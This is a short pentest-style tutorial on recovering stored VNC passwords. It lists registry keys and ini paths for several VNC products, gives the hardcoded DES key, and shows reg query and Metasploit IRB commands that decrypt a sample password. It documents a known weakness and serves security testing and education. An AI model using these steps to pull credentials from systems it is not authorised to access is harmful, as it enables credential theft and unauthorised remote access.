Handy Stored Password Decryption Techniques
VNC uses a hardcoded DES key to store credentials. The same key is used across multiple product lines.
RealVNC
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
Value: Password
TightVNC
HKEY_CURRENT_USER\Software\TightVNC\Server
HKLM\SOFTWARE\TightVNC\Server\ControlPassword
tightvnc.ini
vnc_viewer.ini
Value: Password or PasswordViewOnly
TigerVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4
Value: Password
UltraVNC
C:\Program Files\UltraVNC\ultravnc.ini
Value: passwd or passwd2
I downloaded TightVNC version 2.8.11 and found my password was stored here: HKLM\SOFTWARE\TightVNC\Server\ControlPassword so I used reg query to extract the encrypted password:
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>reg query HKLM\SOFTWARE\TightVNC\Server /s
HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server
--- SNIP ---
Password REG_BINARY D7A514D8C556AADE
ControlPassword REG_BINARY 1B8167BC0099C7DC
--- SNIP ---
With the encypted VNC password: D7A514D8C556AADE
I was able decrypt it easily using the Metasploit Framework and the IRB (ruby shell) with these 3 commands:
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["YOUR ENCRYPTED VNC PASSWORD HERE"].pack('H*'), fixedkey
$> msfconsole
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["D7A514D8C556AADE"].pack('H*'), fixedkey
=> "Secure!\x00"
>>